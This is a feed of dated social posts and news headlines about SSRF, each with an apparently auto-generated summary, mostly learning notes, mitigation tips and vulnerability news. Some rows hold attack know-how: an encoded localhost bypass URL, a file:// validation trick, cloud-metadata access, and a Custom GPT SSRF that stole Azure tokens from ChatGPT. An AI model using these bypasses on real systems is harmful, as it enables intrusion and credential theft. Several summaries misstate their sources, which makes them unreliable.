| 2025-11-29 2025 | SSRF attacks against the server In an #SSRF attack against the server the attacker causes the application to make an HTTP request back to the server that is hosting the application via its loopback network interface. This typically involves supplying a URL with a hostname like pic.x.com/YdvtBuDuys beginner | In SSRF attacks, the attacker manipulates the application to send HTTP requests back to the server hosting it through the loopback network interface. This is done by providing a URL with a specific hostname. |
| 2025-11-28 2025 | 3 Cómo mitigar #SSRF: No confíes verifica. Validación (Allow-list): Permite solo dominios y protocolos estrictos (http/s). Deshabilita esquemas: Bloquea file:// ftp:// en tus librerías #HTTP. Red (Egress Filtering): Bloquea salidas del servidor a IPs privadas (RFC 1918). beginner | Mitigate #SSRF risks by verifying and not trusting blindly. Use validation (Allow-list) to allow only strict domains and protocols (http/s). Disable schemes like file:// and ftp:// in your HTTP libraries. Implement Red (Egress Filtering) to block server outputs to private IPs (RFC 1918). These steps enhance security against Server-Side Request Forgery attacks. |
| 2025-11-28 2025 | 1 #SSRF (Server-Side Request Forgery) ocurre cuando un atacante engaña a tu servidor para que haga peticiones #HTTP hacia donde él quiera. Tu servidor actúa como un "proxy" involuntario permitiendo al atacante acceder a recursos internos que deberían estar protegidos. pic.x.com/Y8BtjU0Sj5Sj5 beginner | SSRF (Server-Side Request Forgery) is when an attacker tricks a server into making HTTP requests to any desired location, acting as an involuntary "proxy." This allows the attacker to access protected internal resources. It poses a security risk by exploiting the server's capabilities. |
| 2025-11-26 2025 | Day-57 #hackers #SSRF @tryhackme I just completed Intro to SSRF room on TryHackMe. Learn how to exploit Server-Side Request Forgery (SSRF) vulnerabilities allowing you to access internal server resources. tryhackme.com/room/ssrfqi?ut #tryhackme via @tryhackme beginner | The content discusses completing an "Intro to SSRF" room on TryHackMe, focusing on exploiting Server-Side Request Forgery (SSRF) vulnerabilities to access internal server resources. The link provided leads to the TryHackMe room for learning about SSRF. The post is tagged with #hackers, #SSRF, and mentions @tryhackme. It highlights the opportunity to learn about SSRF and its exploitation on the TryHackMe platform. |
| 2025-11-25 2025 | Day 26/100 SSTI & SSRF Day ذاكرت SSTI وحليت لابات SSTI و SSRF كاملة والحمدلله. Tiny moves massive growth. #100DaysOfCybersecurity #SSTI #SSRF #PortSwigger #OmarCyberJourney beginner | Day 26 of a cybersecurity journey focused on Server-Side Template Injection (SSTI) and Server-Side Request Forgery (SSRF). The individual completed labs related to these topics and expressed gratitude for the progress made. The post emphasizes the importance of small steps leading to significant growth. The journey is part of a larger initiative called #100DaysOfCybersecurity, highlighting tools like PortSwigger and documenting progress under #OmarCyberJourney. |
| 2025-11-24 2025 | Just finished the Intro to SSRF on TryHackMe! Leveling up my pentesting skills one room at a time. #CyberSecurity #TryHackMe #SSRF @anand114bug @CyberMindSpace @rikki59845 beginner | The content highlights completion of the Intro to SSRF room on TryHackMe, showcasing a commitment to enhancing pentesting skills gradually. The post emphasizes cybersecurity, TryHackMe, and SSRF, tagging relevant individuals. The individual is actively engaging in skill development within the cybersecurity field. |
| 2025-11-18 2025 | Understanding SSRF Server-Side Request Forgery Explained Server-Side Request Forgery (SSRF) is a high-impact vulnerability where an application is tricked into making unauthorized requests on behalf of an attacker. #infosec #cybersecurity #SSRFi #OWASP #websecurity beginner | SSRF (Server-Side Request Forgery) is a significant vulnerability where an application is manipulated to send unauthorized requests for an attacker. This poses a high risk to web security. Understanding SSRF is crucial in the realm of cybersecurity and falls under OWASP guidelines. #infosec #cybersecurity #SSRFi #OWASP #websecurity |
| 2025-11-18 2025 | Tips for finding SSRF for beginners #BugBounty #tipsforstudents #Tweet #Bugs #challenge beginner | The content provides tips for beginners on finding Server-Side Request Forgery (SSRF) vulnerabilities in Bug Bounty programs. The focus is on helping students and newcomers navigate the challenge of identifying SSRF issues. The content likely includes practical advice, strategies, and resources to assist beginners in locating and reporting SSRF bugs effectively. It encourages engagement in bug bounty programs and highlights the importance of addressing SSRF vulnerabilities. The content may be shared on Twitter with relevant hashtags to reach a wider audience interested in bug hunting and cybersecurity challenges. |
| 2025-11-18 2025 | SSRF stands for Server-Side Request Forgery. It tricks a server into making requests on an attacker's behalf. This bypasses security measures. It grants access to internal networks. beginner | SSRF, or Server-Side Request Forgery, involves tricking a server to make requests for an attacker, bypassing security measures and granting access to internal networks. |
| 2025-11-15 2025 | Server-Side Request Forgery (SSRF) Why it matters: Attackers manipulate server requests to access internal systems. Action: Restrict outbound connections and monitor for anomalies using ThreatSign! #SSRF #CyberSecurity #WebsiteProtection beginner | Server-Side Request Forgery (SSRF) is a critical security threat where attackers exploit server requests to access internal systems. To mitigate this risk, it is recommended to restrict outbound connections and monitor for anomalies using tools like ThreatSign. This proactive approach can enhance cybersecurity and protect websites from potential SSRF attacks. #SSRF #CyberSecurity #WebsiteProtection. |
| 2025-11-15 2025 | Injected #3: Lethal SSRF — Advanced Exploitation Series intermediate | Server-Side Request Forgery (SSRF) is rarely sexy on its own — it’s “just” a server fetching a URL. But when that fetch can reach internal… |
| 2025-11-14 2025 | Researcher uncovers a critical SSRF vulnerability in ChatGPTs Custom GPT | Tech OpenAI news 3 min read | Writeup detailing a critical Server-Side Request Forgery (SSRF) vulnerability discovered in ChatGPT's Custom GPT "Actions" feature by researcher SirLeeroyJenkins. This SSRF flaw could have allowed attackers to expose internal cloud credentials by tricking the AI into making requests to unintended destinations. The vulnerability was exploited by chaining a 302 redirect with a custom API key mimicking the "Metadata: True" header required to access Azure's Instance Metadata Service, a technique previously used in security audits. OpenAI has since patched this issue, which was reported through their Bugcrowd program. |
| 2025-11-14 2025 | CRITICAL SSRF in Typebot (3.13.1) lets authenticated users breach AWS EKS clusters by hijacking IAM creds! Upgrade now to 3.13.1 to secure your cloud. #OffSeq #CloudSecurity #SSRF news | A critical SSRF vulnerability in Typebot (3.13.1) allows authenticated users to breach AWS EKS clusters by hijacking IAM credentials. Upgrading to version 3.13.1+ is essential to secure your cloud environment. This security issue poses a significant risk to cloud security and should be addressed promptly. #OffSeq #CloudSecurity #SSRF. |
| 2025-11-13 2025 | ChatGPT Exploited Through SSRF Flaw in Custom GPT Actions news 3 min read | Library for detecting SSRF vulnerabilities in AI systems, specifically detailing an exploit against ChatGPT's Custom GPT Actions. The vulnerability allowed attackers to bypass HTTPS requirements and inject custom headers to access internal cloud metadata, potentially exposing Azure credentials. Safeguards discussed include allowlisting outbound connections, blocking metadata endpoints, network egress controls, zero-trust validation for AI requests, and robust IAM boundaries. → esecurityplanet.com |
| 2025-11-13 2025 | A customGPT SSRF can pull an Azure access token giving an attacker cloudlevel access to OpenAIs backend reminds us to enforce outbound allowlists and tightly scope managed identities. securityweek.com/chatgpt-vulner #infosec #SSRF #Azure #AIsec news | A custom-GPT SSRF vulnerability can extract an Azure access token, granting attackers cloud-level access to OpenAI's backend. This incident highlights the importance of enforcing outbound allowlists and carefully scoping managed identities for security measures. The article emphasizes the significance of securing against SSRF attacks in the context of AI systems and cloud services. The link provided directs to additional information on the vulnerability. #infosec #SSRF #Azure #AIsec. |
| 2025-11-13 2025 | Researcher uncovers a critical SSRF vulnerability in ChatGPTs Custom GPT | Tech OpenAI news 3 min read | Writeup detailing a critical SSRF vulnerability in ChatGPT's Custom GPTs, discovered by researcher SirLeeroyJenkins. The exploit leveraged the "Actions" feature's OpenAPI schema integration and a 302 redirect to bypass security restrictions, allowing access to internal cloud credentials via Azure's Instance Metadata Service. This technique, a variant of full-read SSRF, was successfully exploited by injecting a custom API key named "Metadata" with the value "true". |
| 2025-11-13 2025 | Completed: Exploiting XXE to perform SSRF attacks. Wild how a simple XML parser misconfig can pivot into internal network access. Another vulnerability mastered. #XXE #SSRF #CyberSecurity #TryHackMe #WebSecurity @CyberMindSpace intermediate | The content discusses the successful exploitation of XXE to conduct SSRF attacks, highlighting how a misconfigured XML parser can lead to internal network access. The post emphasizes mastering another vulnerability in cybersecurity, mentioning relevant hashtags like #XXE, #SSRF, and #CyberSecurity. The accomplishment is shared on social media platform TryHackMe by CyberMindSpace. |
| 2025-11-13 2025 | Multiple Kibana Vulnerabilities Enables SSRF and XSS Attacks news 1 min read | Writeup of Kibana vulnerabilities CVE-2025-37734 enabling SSRF and XSS attacks. Inadequate origin validation in the Observability AI Assistant component allows forging Origin HTTP headers, bypassing security controls. Exploitation can lead to unauthorized internal network access, information disclosure, and lateral movement. Affecting Kibana versions 8.12.0-8.19.6, 9.1.0-9.1.6, and 9.2.0, patching is critical. → cybersecuritynews.com |
| 2025-11-13 2025 | Kibana Flaws Could Allow Server-Side Request Forgery and Cross-Site Scripting Attacks news 2 min read | Library update addressing CVE-2025-37734, an origin validation error in Kibana's Observability AI Assistant. This flaw allows Server-Side Request Forgery (SSRF) by crafting forged Origin HTTP headers, potentially leading to data exfiltration and unauthorized internal access. Vulnerable versions include 8.12.0-8.19.6, 9.1.0-9.1.6, and 9.2.0. Elastic recommends immediate upgrades to 8.19.7, 9.1.7, or 9.2.1, or temporarily disabling the AI Assistant as a mitigation. → cyberpress.org |
| 2025-11-12 2025 | Alert Attackers are exploiting a flaw in ChatGPTs infrastructure (pictureproxy.php) to force unintended requests. 33% of attacks hit U.S. targets. Read up: #ThreatIntel #SSRF #AIsecurity #USEN推し活リクエスト #LatestNews news | Attackers are exploiting a flaw in ChatGPT's infrastructure (pictureproxy.php) to trigger unintended requests, with 33% targeting U.S. entities. The issue involves SSRF vulnerability. Stay informed with #ThreatIntel, #AIsecurity, and #LatestNews. |
| 2025-11-12 2025 | Hackers Exploit SSRF Flaw in Custom GPTs to Steal ChatGPT Secrets news 2 min read | Writeup on SSRF vulnerability in ChatGPT's Custom GPTs feature, demonstrating how attackers could steal cloud infrastructure secrets like Azure management API tokens by exploiting the "Actions" section to perform redirects to instance metadata services. The technique involved a 302 redirect combined with a custom API key header to bypass security controls and retrieve sensitive credentials, a flaw subsequently patched by OpenAI. → gbhackers.com |
| 2025-11-12 2025 | Custom GPTs Exploit SSRF in ChatGPT to Expose Secrets news 2 min read | Writeup of SSRF vulnerability in ChatGPT Custom GPTs, allowing exposure of Azure cloud credentials. Attackers exploited insufficient URL validation in the "Actions" feature to trick ChatGPT servers into requesting data from Azure's metadata service at 169.254.169.254. The technique involved using HTTP 302 redirects to bypass HTTPS restrictions and manipulating authentication headers to extract valid Azure Management API access tokens. OpenAI patched the high-severity flaw via their Bugcrowd bug bounty program. → cyberpress.org |
| 2025-11-12 2025 | ChatGPT Hacked Using Custom GPTs Exploiting SSRF Vulnerability to Expose Secrets news 2 min read | Writeup of CVE-XXXXX, an SSRF vulnerability in ChatGPT's Custom GPT "Actions" feature. Attackers could exploit this by using 302 redirects to bypass HTTPS enforcement and inject a "Metadata: true" header to access Azure's Instance Metadata Service. This exposed sensitive Azure credentials, including OAuth2 tokens for Azure's management API, potentially allowing for resource enumeration or escalation within OpenAI's cloud environment. The vulnerability, similar to those on OWASP's Top 10 list, was reported to OpenAI and subsequently patched. → cybersecuritynews.com |
| 2025-11-11 2025 | 3/3 Follow @jsmonsh and comment 'BOUNTY' for free bug bounty resources #bugbounty #cybersecurity #ssrf #xss #sql beginner | The content promotes following @jsmonsh and commenting 'BOUNTY' for free bug bounty resources related to cybersecurity topics like SSRF, XSS, and SQL. By engaging with the post, users can access valuable bug bounty information. |
| 2025-11-11 2025 | SSRF Testing Methodology Hackers checklist for finding Server-Side Request Forgery #cybersecurity #ssrf 1/3 intermediate | The content discusses SSRF (Server-Side Request Forgery) testing methodology, providing a checklist for hackers to identify SSRF vulnerabilities. It emphasizes the importance of cybersecurity in detecting and preventing SSRF attacks. The post aims to guide individuals in understanding and addressing SSRF risks effectively. The provided link likely leads to more detailed information on SSRF testing methods and cybersecurity practices. |
| 2025-11-10 2025 | How I hacked ChatGPT and found a full-read SSRF! #bugbountywriteups #ssrf #openai #ChatGPT #BugBounty intermediate | The content discusses a successful hacking attempt on ChatGPT that led to the discovery of a full-read Server-Side Request Forgery (SSRF) vulnerability. The author shares their experience in finding and exploiting this vulnerability, highlighting the importance of bug bounty programs. The post is tagged with relevant hashtags like #bugbountywriteups, #ssrf, #openai, and #ChatGPT. |
| 2025-11-08 2025 | Learning SSRF Any resources or Best Artical sharing is highly Appreciated #SSRF #INFOSEC #BugBounty beginner | The content is a request for resources or articles on learning Server-Side Request Forgery (SSRF) with a focus on information security and bug bounty programs. The author is seeking recommendations and sharing appreciation for any valuable content related to SSRF. The post includes hashtags for SSRF, information security, and bug bounty. The link provided seems to lead to additional information on the topic. |
| 2025-11-08 2025 | If you want to get better at finding and bypassing SSRF, take a look at this repo: intermediate Bug Bounty | https://t.co/qLalHzICrE |
| 2025-11-07 2025 | #Bypasses for #SSRF everywhere! intermediate | The content mentions the availability of bypasses for Server-Side Request Forgery (SSRF) attacks. It suggests that these bypasses can be used in various scenarios to counter SSRF vulnerabilities. The post emphasizes the widespread applicability of these bypass techniques. |
| 2025-11-06 2025 | Not sure if you know this but I will leave it here anyway. http://127%E3%80%820%E3%80%820%E3%80%821 Combining with those other #bypass techniques in the work below it can make the difference. #SSRF #BugBounty intermediate | The content mentions a potential technique for bypassing security measures, specifically related to SSRF and Bug Bounty programs. It includes a link and suggests combining this technique with others to make a difference. The content is brief and hints at sharing valuable information for those interested in cybersecurity and bug hunting. |
| 2025-11-05 2025 | The following ebooks are on the #BlackNovember promo too check it out! #BugBounty #SSRF #XSS #Bypass beginner | Several ebooks are part of the #BlackNovember promotion, including topics like Bug Bounty, SSRF, XSS, and Bypass. The promotion encourages readers to explore these ebooks. |
| 2025-11-04 2025 | #ssrf #xss #sqli #python beginner | The content appears to be related to cybersecurity topics including Server-Side Request Forgery (SSRF), Cross-Site Scripting (XSS), SQL Injection (SQLi), and Python programming. The link provided seems to lead to additional information or resources on these subjects. |
| 2025-11-04 2025 | Hey my ebooks are also on the #BlackNovember promo check it out! #BugBounty #SSRF #XSS #Bypass beginner | The content promotes ebooks on a #BlackNovember promo, highlighting topics like #BugBounty, #SSRF, #XSS, and #Bypass. The author encourages checking out the promotion for their ebooks. |
| 2025-11-04 2025 | DAY 3-5/30 Deep-dive on SSRF research to strengthen real-world exploitation skills Completed 2/18 SQLi labs on @PortSwigger #BugBounty #SSRF #SQLi #WebSecurity #Infosec intermediate | The content highlights progress made on days 3-5 of a 30-day deep dive into SSRF research to enhance real-world exploitation skills. It mentions completing SQL injection labs on @PortSwigger on February 18. The focus is on bug bounty, SSRF, SQLi, web security, and infosec. The post indicates active engagement in cybersecurity research and skill development in the context of bug bounty programs. |
| 2025-11-03 2025 | Completed my first basic SSRF lab on #PortSwigger today. Used an #SSRF to make the server request http://localhost which let me reach the internal /admin #endpoint and delete a user without admin #credentials. #hacking #security beginner | The content describes completing a basic SSRF lab on PortSwigger, utilizing SSRF to send a server request to http://localhost, accessing the internal /admin endpoint, and deleting a user without admin credentials. The post highlights the hacking and security aspects of this exercise. |
| 2025-11-03 2025 | Completed my first basic SSRF lab on #PortSwigger today. Used an #SSRF to make the server request http://localhost which let me reach the internal /admin #endpoint and delete a user without admin #credentials. #hacking #security beginner | The content discusses completing a basic SSRF lab on PortSwigger by using SSRF to send a server request to http://localhost, accessing the internal /admin endpoint, and deleting a user without admin credentials. This demonstrates a security vulnerability that could be exploited for unauthorized actions. The post highlights the importance of understanding and securing against SSRF attacks in the context of hacking and security. |
| 2025-11-01 2025 | CVE-2025-10145 Auto Featured Image 4.1.7 vulnerable to SSRF allowing internal data access on cloud servers. Update now & scan with Quttera Website Malware Scanner quttera.com #CVE #WordPressSecurity #SSRF #CyberSecurity #WordPress news | The content warns about CVE-2025-10145 vulnerability in Auto Featured Image ≤4.1.7, enabling SSRF for accessing internal data on cloud servers. It advises updating the plugin and scanning with Quttera Website Malware Scanner. The post emphasizes the importance of cybersecurity, specifically for WordPress sites. |
| 2025-11-01 2025 | WP 6.8.3 ZERO-DAY SSRF: LEAKS ORIGIN IP behind Cloudflare! Unauth exploit hits MILLIONS of sites. PoC: github.com/ebrasha/ssrf-p Demo: github.com/ebrasha/ssrf-p @ProfShafiei @WordPress @automattic @Cloudflare @TheHackersNews #SSRF #ZeroDay #WordPress #Vulnerability news | A zero-day SSRF vulnerability in WordPress 6.8.3 allows leaking the origin IP behind Cloudflare, affecting millions of sites. An unauthorized exploit is circulating, with Proof of Concept and Demo available on GitHub. The vulnerability poses a significant risk, prompting attention from security experts and organizations like WordPress, Automattic, Cloudflare, and TheHackersNews. The exploit highlights the seriousness of SSRF attacks and the importance of prompt patching to mitigate potential risks. |
| 2025-10-31 2025 | Great collaboration and knowledge sharing around bug bounty teamwork makes us stronger! @Wlayzz @truffzor @LdrTom #rce #ssrf #xss #BugBounty @yeswehack news | The content highlights the importance of collaboration and knowledge sharing in bug bounty teamwork to enhance strength. It mentions specific individuals and tags related to bug bounty topics like Remote Code Execution (RCE), Server-Side Request Forgery (SSRF), Cross-Site Scripting (XSS), and BugBounty. The post also includes a reference to YesWeHack. |
| 2025-10-30 2025 | DAY 1/30 - SSRF learning path completed on @PortSwigger Web Security Academy. #SSRF #WebSecurity beginner | The user completed the SSRF learning path on PortSwigger Web Security Academy on the first day of a 30-day challenge. The achievement was shared on social media with hashtags #SSRF and #WebSecurity. |
| 2025-10-29 2025 | Heres a 0-day SSRF in SimplePie to turn it into a port scanner. I found it a while ago. #0day #SSRF advanced | The content discusses a zero-day Server-Side Request Forgery (SSRF) vulnerability in SimplePie that can be exploited to turn it into a port scanner. The author discovered this vulnerability some time ago and shared it with the hashtag #0day #SSRF. The post provides a link for more information. |
| 2025-10-29 2025 | New Critical CVE I discovered: CVE-2025-60898 Unauthenticated SSRF CVSS 9.1 Advisory: github.com/abdulr7mann/CV CVE record: cve.org/CVERecord?id=C #CVE #SSRF #AppSec #AppSecurity news | A new Critical CVE, CVE-2025-60898, an Unauthenticated SSRF with a CVSS score of 9.1, has been discovered. More details can be found in the advisory at github.com/abdulr7mann/CV. The CVE record is available at cve.org/CVERecord?id=C. This vulnerability is significant for application security (#AppSec) and involves Server-Side Request Forgery (#SSRF). |
| 2025-10-29 2025 | Dear Bounty Hunters what tools/workflows do you use to find SSRF? Name the tool categories (proxy scanner recon logging) and one tip for responsible disclosure. No exploit recipes just the stack and process that works for you. #BugBounty #SSRF #InfoSec #EthicalHacking intermediate | The content discusses tools and workflows used by bounty hunters to find Server-Side Request Forgery (SSRF) vulnerabilities. It mentions tool categories like proxy, scanner, recon, and logging, and emphasizes responsible disclosure. The focus is on sharing the stack and process that works for identifying SSRF vulnerabilities, without providing exploit recipes. The post encourages ethical hacking practices and participation in bug bounty programs. |
| 2025-10-28 2025 | Start your journey into #SSRF. brutelogic.net/ssrf-mastery-s beginner | The content invites readers to begin exploring Server-Side Request Forgery (SSRF) through a resource provided on brutelogic.net. The link leads to a page where individuals can enhance their understanding and skills related to SSRF. It encourages users to embark on a learning journey focused on this topic. |
| 2025-10-27 2025 | 10/ TL;DR do more with less: timing DNS rotation header correlation = high-signal low-noise POCs. Share if you want the helper repo SVG cheat-sheet. #SSRF #infosec #bugbounty intermediate | The content discusses maximizing efficiency by combining timing, DNS rotation, and header correlation for effective proof-of-concepts (POCs) with high signal and low noise. It suggests sharing for a helper repository and SVG cheat-sheet. The focus is on improving security testing, particularly related to SSRF (Server-Side Request Forgery) and bug bounty programs. |
| 2025-10-24 2025 | CISA Alerts on Active Exploitation of Oracle EBS SSRF Flaw news 2 min read | Analysis of CVE-2025-61884, a critical Oracle E-Business Suite server-side request forgery vulnerability, details its active exploitation. Remote, unauthenticated attackers can leverage this CWE-918 flaw within Oracle Configurator's Runtime component to make unauthorized requests, bypass network controls, and potentially exfiltrate sensitive data. CISA's inclusion of this vulnerability in its Known Exploited Vulnerabilities catalog mandates federal agencies to patch by November 10, 2025, underscoring the urgency for all organizations to apply vendor patches and implement mitigations. → cyberpress.org |
| 2025-10-23 2025 | Thanks for featuring our post Next.js and the Mutated Middleware #AppSec #Nextjs #SSRF news | The content is a thank-you message for featuring a post titled "Next.js and the Mutated Middleware" that discusses application security, Next.js framework, and SSRF vulnerability. The post was shared with hashtags #AppSec, #Nextjs, and #SSRF. |
| 2025-10-23 2025 | Finished Intro to SSRF on @TryHackMe hands-on SSRF directory traversal. Flag captured; tested mitigations. #InfoSec #SSRF #tryhackme beginner | The content discusses completing an introductory task on Server-Side Request Forgery (SSRF) on TryHackMe platform, involving practical exercises on SSRF and directory traversal. The user successfully captured a flag and tested mitigations for SSRF. The post includes hashtags related to information security, SSRF, and TryHackMe. |
| 2025-10-22 2025 | CISA confirms hackers exploited Oracle E-Business Suite SSRF flaw | The Cyber Security Hub news | CISA has confirmed that hackers exploited a SSRF flaw in Oracle E-Business Suite. This vulnerability allowed attackers to carry out attacks by sending unauthorized requests from the vulnerable server. The Cyber Security Hub reported on this incident. |
| 2025-10-21 2025 | CISA confirms hackers exploited Oracle E-Business Suite SSRF flaw news 2 min read | Writeup of CVE-2025-61884, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in Oracle E-Business Suite, now confirmed by CISA as actively exploited. This flaw in the Oracle Configurator runtime component was leveraged in July attacks, with exploits leaked by ShinyHunters and potentially used by the Clop ransomware gang. Oracle has released patches and recommended federal agencies apply them by November 10, 2025, to mitigate unauthorized data access risks. → bleepingcomputer.com |
| 2025-10-21 2025 | CISA Warns Of Oracle E-Business Suite SSRF Vulnerability Actively Exploited In Attacks news 2 min read | Library for securing Oracle E-Business Suite against CVE-2025-61884, a critical SSRF vulnerability actively exploited for unauthorized access and data exfiltration. This flaw, rated high severity (CVSS 3.1) and aligned with CWE-918, allows attackers to forge requests by manipulating server input validation. Exploitation tactics include scanning internal networks, bypassing firewalls, and interacting with cloud metadata services. Immediate patching via Oracle's Critical Patch Update is recommended, with mitigations like network segmentation and WAFs as alternatives. → cybersecuritynews.com |
| 2025-10-21 2025 | CISA Warns of Oracle E-Business Suite SSRF Vulnerability Actively Exploited in Attacks news 2 min read | Writeup on CVE-2025-61884, a critical Oracle E-Business Suite SSRF vulnerability actively exploited in the wild. This CWE-918 flaw, affecting the Runtime component of Oracle Configurator, allows unauthenticated remote attackers to forge server-side requests to internal or external resources. CISA has added it to the Known Exploited Vulnerabilities catalog, mandating immediate patching or mitigation for federal agencies. Security teams should apply vendor patches, implement network segmentation, and monitor for suspicious outbound requests to prevent data exfiltration and deeper network penetration. → gbhackers.com |
| 2025-10-20 2025 | $6000 bounty for a juicy SSRF that exposed internal files K8s access tokens & Lambda runtime API Massive props to @saur1n killer teamwork on this one! Customer paid directly no Bugcrowd triage needed. #Bugcrowd #SSRF intermediate | A $6000 bounty was rewarded for discovering a significant SSRF vulnerability that exposed internal files, Kubernetes access tokens, and Lambda runtime API. The successful finding was attributed to teamwork and praised @saur1n. The customer paid the bounty directly without involving Bugcrowd for triage. The incident highlights the importance of identifying and addressing SSRF vulnerabilities in web applications. |
| 2025-10-18 2025 | Critical Zimbra SSRF Flaw Exposes Sensitive Data news 2 min read | Library update 10.1.12 addresses a critical Server-Side Request Forgery (SSRF) vulnerability in Zimbra versions 10.1.5 through 10.1.11, allowing attackers to access sensitive data and perform network reconnaissance by manipulating the chat proxy configuration. This flaw poses risks of data exposure, credential theft, and unauthorized access to internal resources, necessitating immediate patching to prevent exploitation. → gbhackers.com |
| 2025-10-18 2025 | Critical Zimbra SSRF Vulnerability Let Attackers Access Sensitive Data news 1 min read | Library update 10.1.12 for Zimbra Collaboration Suite resolves a critical Server-Side Request Forgery (SSRF) vulnerability in the chat proxy configuration. This flaw, affecting versions 10.1.5 through 10.1.11, allowed attackers to craft requests to access internal resources and sensitive user data. The vulnerability exploited improper URL validation, enabling unauthorized access to configuration files, tokens, and connected services. Administrators are urged to apply the latest update to prevent exploitation and enhance overall system resilience. → cybersecuritynews.com |
| 2025-10-17 2025 | Found a "fixed" WordPress SSRF that wasn't actually fixed. Null byte truncation bypassed all validation exposing AWS metadata/credentials through a patched plugin. Full technical breakdown PoC: CVE-2025-10874 intermediate | A WordPress SSRF vulnerability believed to be fixed was actually still exploitable due to null byte truncation bypassing validation. This flaw exposed AWS metadata/credentials through a patched plugin. The technical details and proof of concept for this issue can be found under CVE-2025-10874. |
| 2025-10-14 2025 | Oracle has silently fixed CVE-2025-61884 a critical E-Business Suite SSRF vulnerability exploited by Clop and ShinyHunters for remote unauthenticated access to sensitive data. #OracleEBS #ZeroDay #SSRF news | Oracle has addressed a critical SSRF vulnerability (CVE-2025-61884) in E-Business Suite that was exploited by threat actors like Clop and ShinyHunters. This flaw allowed remote, unauthenticated access to sensitive data. The fix was implemented silently by Oracle to prevent further exploitation. #OracleEBS #ZeroDay #SSRF. |
| 2025-10-14 2025 | Finished Intigriti Challenge 1025 SSRF LFI Exploited a weak stripos('http') check to trigger a local file read via file://...#http. Full writeup PoC #bugbounty #ssrf #lfi #websecurity #intigriti intermediate | The content discusses successfully completing Intigriti Challenge 1025 by exploiting a weak stripos('http') check to trigger a local file read via file://...#http. The post includes a full writeup and proof of concept (PoC) related to SSRF and LFI vulnerabilities in web security. It also mentions hashtags like #bugbounty, #ssrf, #lfi, and #websecurity. |
| 2025-10-10 2025 | Have been here on X providing lots of things I found about #XSS filter/WAF evasion #SQLi even #SSRF and other stuff as @BRuteLogic for the last 13 yrs. So please don't think I'm just advertising w/ the content I create I'm just trying to make a living out of my work. Thx. beginner | For over 13 years, the individual has been sharing insights on XSS, filter/WAF evasion, SQLi, SSRF, and related topics as @BRuteLogic. They clarify that their content creation is not just advertising but a means to sustain themselves. The post emphasizes the longevity and dedication to providing valuable information in the cybersecurity field. |
| 2025-10-09 2025 | "SSRF - When the Server Becomes Your Hacker" Follow FORnSEC Solutions for more interesting Cyber related topics. @www.fornsec.in Youtube Channel :- #cybersecurity #SSRF #AppSec #InfoSec #Serversiderequestforgery #explorepage #explore #exploit #trending beginner | The content discusses SSRF (Server-Side Request Forgery) and its implications, highlighting how servers can be manipulated to act as hackers. It encourages following FORnSEC Solutions for more cyber-related topics and provides links to their website and YouTube channel. The hashtags indicate the content covers cybersecurity, SSRF, application security, information security, server-side request forgery, exploring trends, and exploits. The post aims to attract interest in these topics and promote further exploration of cybersecurity issues. |
| 2025-10-08 2025 | Tips to ur tests n hunts: Site generates a custom PDF using user input test for #HTML #injection. Try #SSRF via an iframe to read metadata files: Use ur imagination - verify other possibilities #cybersecurity intermediate | The content provides tips for testing and hunting for cybersecurity vulnerabilities. It suggests generating a custom PDF using user input to test for HTML injection. Additionally, it recommends trying Server-Side Request Forgery (SSRF) via an iframe to read metadata files. The advice emphasizes using imagination to explore various possibilities for cybersecurity testing. |
| 2025-10-06 2025 | Splunk issued patches for six flaws including a High-severity blind SSRF (CVE-2025-20371) and XSS issues that could allow attackers to access sensitive data and crash the platform. #Splunk #SplunkSecurity #SSRF #XSS #Cybersecurity news | Splunk recently released patches for six vulnerabilities, including a critical blind SSRF (CVE-2025-20371) and XSS flaws. These issues could be exploited by attackers to gain unauthorized access to sensitive data and potentially crash the Splunk platform. The patches aim to address these security vulnerabilities and enhance the overall cybersecurity of the Splunk system. #Splunk #SplunkSecurity #SSRF #XSS #Cybersecurity |
| 2025-10-06 2025 | Payload-less exploits cause real damage without dropping malware SSRF XXE IDOR. Most scanners miss them. Recon chains catch them. Read more #CyberSecurity #AppSec #SSRF #XXE #IDOR #Recon #ThreatIntel #Infosec intermediate | The content discusses how payload-less exploits like SSRF, XXE, and IDOR can cause significant damage without dropping malware. These exploits are often missed by scanners but can be detected by recon chains. The post emphasizes the importance of understanding and addressing these vulnerabilities in cybersecurity to prevent potential threats. It encourages readers to learn more about these issues and provides relevant hashtags for further exploration. |
| 2025-10-05 2025 | SSRF attacker tricks your server into fetching URLs it shouldn't (internal admin or metadata). Stop it: dont fetch user URLs directly use allowlists block private/internal IPs enforce egress filters/proxy and require auth for internal services #WebSecurity #SSRF #InfoSec intermediate | The content warns about SSRF attacks where servers fetch unauthorized URLs. To prevent this, avoid fetching user URLs directly, use allowlists, block private/internal IPs, enforce egress filters/proxy, and require authentication for internal services. These measures enhance web security and protect against SSRF threats. #WebSecurity #SSRF #InfoSec |
| 2025-10-03 2025 | Server-Side Request Forgery (SSRF) is a rising web attack vector. An attacker can trick your app into making requests to internal or cloud resources. Learn what it is and how to prevent #AppSec #SSRF #CloudSecurity #CyberSecurity beginner | Server-Side Request Forgery (SSRF) is a growing web attack where attackers manipulate your app to access internal or cloud resources. Understanding SSRF is crucial for #AppSec, #CloudSecurity, and #CyberSecurity. Prevention measures are essential to safeguard against this threat. |
| 2025-10-02 2025 | Hack this one! KNOXSS v4.3.0 released with support to #SSRF-based #XSS regular and Blind. news | KNOXSS v4.3.0 has been released with support for SSRF-based XSS, including regular and Blind XSS. This update allows for hacking opportunities using these vulnerabilities. The release aims to enhance security testing capabilities by addressing these specific types of cross-site scripting vulnerabilities. |
| 2025-10-02 2025 | HIGH severity SSRF in Apache Kylin (v4.0.05.0.2) lets attackers abuse admin rights for internal requests. Upgrade to 5.0.3 ASAP! Details: radar.offseq.com/threat/cve-202 #OffSeq #ApacheKylin #SSRF #Cybersecurity news | A high severity Server-Side Request Forgery (SSRF) vulnerability in Apache Kylin (v4.0.0–5.0.2) allows attackers to exploit admin rights for internal requests. Urgent upgrade to version 5.0.3 is recommended to mitigate the risk. More information available at radar.offseq.com/threat/cve-202. Take action promptly to address this cybersecurity threat. #OffSeq #ApacheKylin #SSRF #Cybersecurity |
